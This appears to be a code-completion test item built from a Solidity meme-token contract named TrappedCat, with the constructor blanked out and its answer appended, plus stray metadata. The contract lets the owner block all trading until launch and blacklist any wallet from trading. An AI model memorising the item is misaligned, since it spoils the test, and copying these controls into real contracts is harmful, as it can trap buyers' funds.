contract TrappedCat is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; address public WETH; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; // Auto-LP varibales bool private swapping; bool public swapEnabled = true; uint256 public addLiquityThresholdETH = 10**17; // 1 ETH = 10**18 | 0.1 ETH = 10**17 uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1_000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address private feeaddress; string private _name = "TrappedCat"; string private _symbol = "TrapC"; uint8 private _decimals = 9; // decimalpoints // Total Default tax = 7% | 0% reflections | 1% AutoLP | 6% marketing uint256 private _taxFee = 0; // Reflections tax uint256 private _previousTaxFee = _taxFee; uint256 private _liquidity = 100; uint256 private _liquidityFee = _liquidity / 2; // adding LP needs ETH and tokens | this collects the ETH for Auto-LP | keep these two values same, do not change uint256 private _autoLPFee = _liquidity / 2; // this collects the native tokens for Auto-LP uint256 private _previousLiquidityFee = _liquidityFee; uint256 private _developmentFee = 100; // marketing uint256 public _totalTax = _taxFee + _developmentFee + _liquidity; event SwapEnabled(bool enabled); event SwapETHForTokens( uint256 amountIn, address[] path ); IDEGENSwapRouter public degenSwapRouter; address public degenSwapPair; address public depwallet; uint256 public _maxTxAmount = 1000_000_000_000 * 10**9; // max tx is set to 1% of the supply by default uint256 public _maxWallet = 300_000_000_000 * 10**9; // max wallet is 3% of the supply by default modifier onlyExchange() { bool isPair = false; if(msg.sender == degenSwapPair) isPair = true; require( msg.sender == address(degenSwapRouter) || isPair , "DEGEN: NOT_ALLOWED" ); _; } constructor () {<FILL_FUNCTION_BODY> } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _updatePairsFee(uint256 fee) internal { IDEGENSwapPair(degenSwapPair).updateTotalFee(fee); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setfeeaddress(address walletAddress) public onlyOwner { feeaddress = walletAddress; } function _setmaxwalletamount(uint256 amount) external onlyOwner() { require(amount >= 10_000, "Please check the maxwallet amount, should exceed 0.5% of the supply"); _maxWallet = amount * 10**9; } function setmaxTxAmount(uint256 amount) external onlyOwner() { require(amount >= 10_000, "Please check MaxtxAmount amount, should exceed 0.5% of the supply"); _maxTxAmount = amount * 10**9; } // to change autoLP threshold, GAS savings function setLiquityAddThreshold(uint256 threshold) external onlyOwner { addLiquityThresholdETH = threshold; } // function to to disable autoLP just in case function setSwapEnabled(bool _enabled) external onlyOwner { swapEnabled = _enabled; emit SwapEnabled(_enabled); } // to rescue ETH sent to the contract function clearStuckBalance() public { payable(feeaddress).transfer(address(this).balance); } // to rescue ERC20 tokens sent to contract function claimERCtoknes(IERC20 tokenAddress) external { tokenAddress.transfer(feeaddress, tokenAddress.balanceOf(address(this))); } function addBotWallet(address botwallet) external onlyOwner() { require(botwallet != degenSwapPair,"Cannot add pair as a bot"); require(botwallet != address(this),"Cannot add CA as a bot"); botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } // Call this function after adding LP and locking LP tokens to begin trading function EnableTrading()external onlyOwner() { canTrade = true; } // in case DegenSwap launches new router V2 function changeRouter(address _newRouter, uint256 _fees) public onlyOwner() { degenSwapRouter = IDEGENSwapRouter(_newRouter); WETH = degenSwapRouter.WETH(); // Create a uniswap pair for this new token degenSwapPair = IDEGENSwapFactory(degenSwapRouter.factory()) .createPair(address(this), WETH); // Set base token in the pair as WETH, which acts as the tax token IDEGENSwapPair(degenSwapPair).setBaseToken(WETH); IDEGENSwapPair(degenSwapPair).updateTotalFee(_fees); } function setFees(uint256 _ReflectiontaxBPS, uint256 _marketingTaxBPS, uint256 _autoLpTaxBPS) public onlyOwner { _taxFee = _ReflectiontaxBPS; // reflections tax _developmentFee = _marketingTaxBPS; // AutoLP tax, keep these variables same, DO NOT CHANGE _autoLPFee = _autoLpTaxBPS / 2; _liquidityFee = _autoLpTaxBPS / 2; _totalTax = _taxFee + _developmentFee + _autoLPFee + _liquidityFee; require(_totalTax <= 1500, "total tax cannot exceed 15%"); require((_developmentFee + _autoLPFee) >= 100, "ERR: development + autoLP fee should exceed 1%"); _updatePairsFee((_developmentFee + _autoLPFee)); } function setBaseToken(address _address) public onlyOwner { IDEGENSwapPair(degenSwapPair).setBaseToken(_address); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**4 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**4 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner() && from != address(this)) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(from == degenSwapPair && to != depwallet) { require(balanceOf(to) + amount <= _maxWallet, "check max wallet"); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function depositLPFee(uint256 amount, address token) public onlyExchange { uint256 allowanceT = IERC20(token).allowance(msg.sender, address(this)); if(allowanceT >= amount) { uint256 initialWethbal = (IERC20(token).balanceOf(address(this))); IERC20(token).transferFrom(msg.sender, address(this), amount); // calculate WETH received uint256 wethReceived = (IERC20(token).balanceOf(address(this))) - initialWethbal; // calculate tax amount and send WETH _developmentFee + _autoLPFee _totalTax uint256 wethDevelopment = (wethReceived * _developmentFee) / (_developmentFee + _autoLPFee); IERC20(token).transfer(feeaddress, wethDevelopment); // check conditions to add liquidity // contracts add liq at 1 ETH threshold, instead of doing at each tx // Gas optimizations uint256 contractWETHBalance = IERC20(token).balanceOf(address(this)); bool canAddLiquidity = contractWETHBalance >= addLiquityThresholdETH; if (swapEnabled && canAddLiquidity) { if(balanceOf(address(this)) == 0) {return;} IERC20(token).transfer(degenSwapPair, contractWETHBalance); _transfer(address(this), degenSwapPair, balanceOf(address(this))); } } } }
contract TrappedCat is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; address public WETH; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; // Auto-LP varibales bool private swapping; bool public swapEnabled = true; uint256 public addLiquityThresholdETH = 10**17; // 1 ETH = 10**18 | 0.1 ETH = 10**17 uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1_000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address private feeaddress; string private _name = "TrappedCat"; string private _symbol = "TrapC"; uint8 private _decimals = 9; // decimalpoints // Total Default tax = 7% | 0% reflections | 1% AutoLP | 6% marketing uint256 private _taxFee = 0; // Reflections tax uint256 private _previousTaxFee = _taxFee; uint256 private _liquidity = 100; uint256 private _liquidityFee = _liquidity / 2; // adding LP needs ETH and tokens | this collects the ETH for Auto-LP | keep these two values same, do not change uint256 private _autoLPFee = _liquidity / 2; // this collects the native tokens for Auto-LP uint256 private _previousLiquidityFee = _liquidityFee; uint256 private _developmentFee = 100; // marketing uint256 public _totalTax = _taxFee + _developmentFee + _liquidity; event SwapEnabled(bool enabled); event SwapETHForTokens( uint256 amountIn, address[] path ); IDEGENSwapRouter public degenSwapRouter; address public degenSwapPair; address public depwallet; uint256 public _maxTxAmount = 1000_000_000_000 * 10**9; // max tx is set to 1% of the supply by default uint256 public _maxWallet = 300_000_000_000 * 10**9; // max wallet is 3% of the supply by default modifier onlyExchange() { bool isPair = false; if(msg.sender == degenSwapPair) isPair = true; require( msg.sender == address(degenSwapRouter) || isPair , "DEGEN: NOT_ALLOWED" ); _; } <FILL_FUNCTION> function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _updatePairsFee(uint256 fee) internal { IDEGENSwapPair(degenSwapPair).updateTotalFee(fee); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setfeeaddress(address walletAddress) public onlyOwner { feeaddress = walletAddress; } function _setmaxwalletamount(uint256 amount) external onlyOwner() { require(amount >= 10_000, "Please check the maxwallet amount, should exceed 0.5% of the supply"); _maxWallet = amount * 10**9; } function setmaxTxAmount(uint256 amount) external onlyOwner() { require(amount >= 10_000, "Please check MaxtxAmount amount, should exceed 0.5% of the supply"); _maxTxAmount = amount * 10**9; } // to change autoLP threshold, GAS savings function setLiquityAddThreshold(uint256 threshold) external onlyOwner { addLiquityThresholdETH = threshold; } // function to to disable autoLP just in case function setSwapEnabled(bool _enabled) external onlyOwner { swapEnabled = _enabled; emit SwapEnabled(_enabled); } // to rescue ETH sent to the contract function clearStuckBalance() public { payable(feeaddress).transfer(address(this).balance); } // to rescue ERC20 tokens sent to contract function claimERCtoknes(IERC20 tokenAddress) external { tokenAddress.transfer(feeaddress, tokenAddress.balanceOf(address(this))); } function addBotWallet(address botwallet) external onlyOwner() { require(botwallet != degenSwapPair,"Cannot add pair as a bot"); require(botwallet != address(this),"Cannot add CA as a bot"); botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } // Call this function after adding LP and locking LP tokens to begin trading function EnableTrading()external onlyOwner() { canTrade = true; } // in case DegenSwap launches new router V2 function changeRouter(address _newRouter, uint256 _fees) public onlyOwner() { degenSwapRouter = IDEGENSwapRouter(_newRouter); WETH = degenSwapRouter.WETH(); // Create a uniswap pair for this new token degenSwapPair = IDEGENSwapFactory(degenSwapRouter.factory()) .createPair(address(this), WETH); // Set base token in the pair as WETH, which acts as the tax token IDEGENSwapPair(degenSwapPair).setBaseToken(WETH); IDEGENSwapPair(degenSwapPair).updateTotalFee(_fees); } function setFees(uint256 _ReflectiontaxBPS, uint256 _marketingTaxBPS, uint256 _autoLpTaxBPS) public onlyOwner { _taxFee = _ReflectiontaxBPS; // reflections tax _developmentFee = _marketingTaxBPS; // AutoLP tax, keep these variables same, DO NOT CHANGE _autoLPFee = _autoLpTaxBPS / 2; _liquidityFee = _autoLpTaxBPS / 2; _totalTax = _taxFee + _developmentFee + _autoLPFee + _liquidityFee; require(_totalTax <= 1500, "total tax cannot exceed 15%"); require((_developmentFee + _autoLPFee) >= 100, "ERR: development + autoLP fee should exceed 1%"); _updatePairsFee((_developmentFee + _autoLPFee)); } function setBaseToken(address _address) public onlyOwner { IDEGENSwapPair(degenSwapPair).setBaseToken(_address); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**4 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**4 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner() && from != address(this)) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if(from == degenSwapPair && to != depwallet) { require(balanceOf(to) + amount <= _maxWallet, "check max wallet"); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function depositLPFee(uint256 amount, address token) public onlyExchange { uint256 allowanceT = IERC20(token).allowance(msg.sender, address(this)); if(allowanceT >= amount) { uint256 initialWethbal = (IERC20(token).balanceOf(address(this))); IERC20(token).transferFrom(msg.sender, address(this), amount); // calculate WETH received uint256 wethReceived = (IERC20(token).balanceOf(address(this))) - initialWethbal; // calculate tax amount and send WETH _developmentFee + _autoLPFee _totalTax uint256 wethDevelopment = (wethReceived * _developmentFee) / (_developmentFee + _autoLPFee); IERC20(token).transfer(feeaddress, wethDevelopment); // check conditions to add liquidity // contracts add liq at 1 ETH threshold, instead of doing at each tx // Gas optimizations uint256 contractWETHBalance = IERC20(token).balanceOf(address(this)); bool canAddLiquidity = contractWETHBalance >= addLiquityThresholdETH; if (swapEnabled && canAddLiquidity) { if(balanceOf(address(this)) == 0) {return;} IERC20(token).transfer(degenSwapPair, contractWETHBalance); _transfer(address(this), degenSwapPair, balanceOf(address(this))); } } } }
_rOwned[_msgSender()] = _rTotal; degenSwapRouter = IDEGENSwapRouter(0x4bf3E2287D4CeD7796bFaB364C0401DFcE4a4f7F); // DegenSwap ETH-mainnet Router 0x4bf3E2287D4CeD7796bFaB364C0401DFcE4a4f7F WETH = degenSwapRouter.WETH(); // Create a DegenSwap pair for this new token degenSwapPair = IDEGENSwapFactory(degenSwapRouter.factory()) .createPair(address(this), WETH); // Set base token in the pair as WETH, which acts as the tax token IDEGENSwapPair(degenSwapPair).setBaseToken(WETH); IDEGENSwapPair(degenSwapPair).updateTotalFee((_developmentFee + _autoLPFee)); depwallet = _msgSender(); feeaddress = payable(0x312AFA572bc16E63029f969b644E0EC3d1C6F6BA); //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _approve(_msgSender(), address(degenSwapRouter), _tTotal); emit Transfer(address(0), _msgSender(), _tTotal);
constructor ()
constructor ()
27435
FarmController
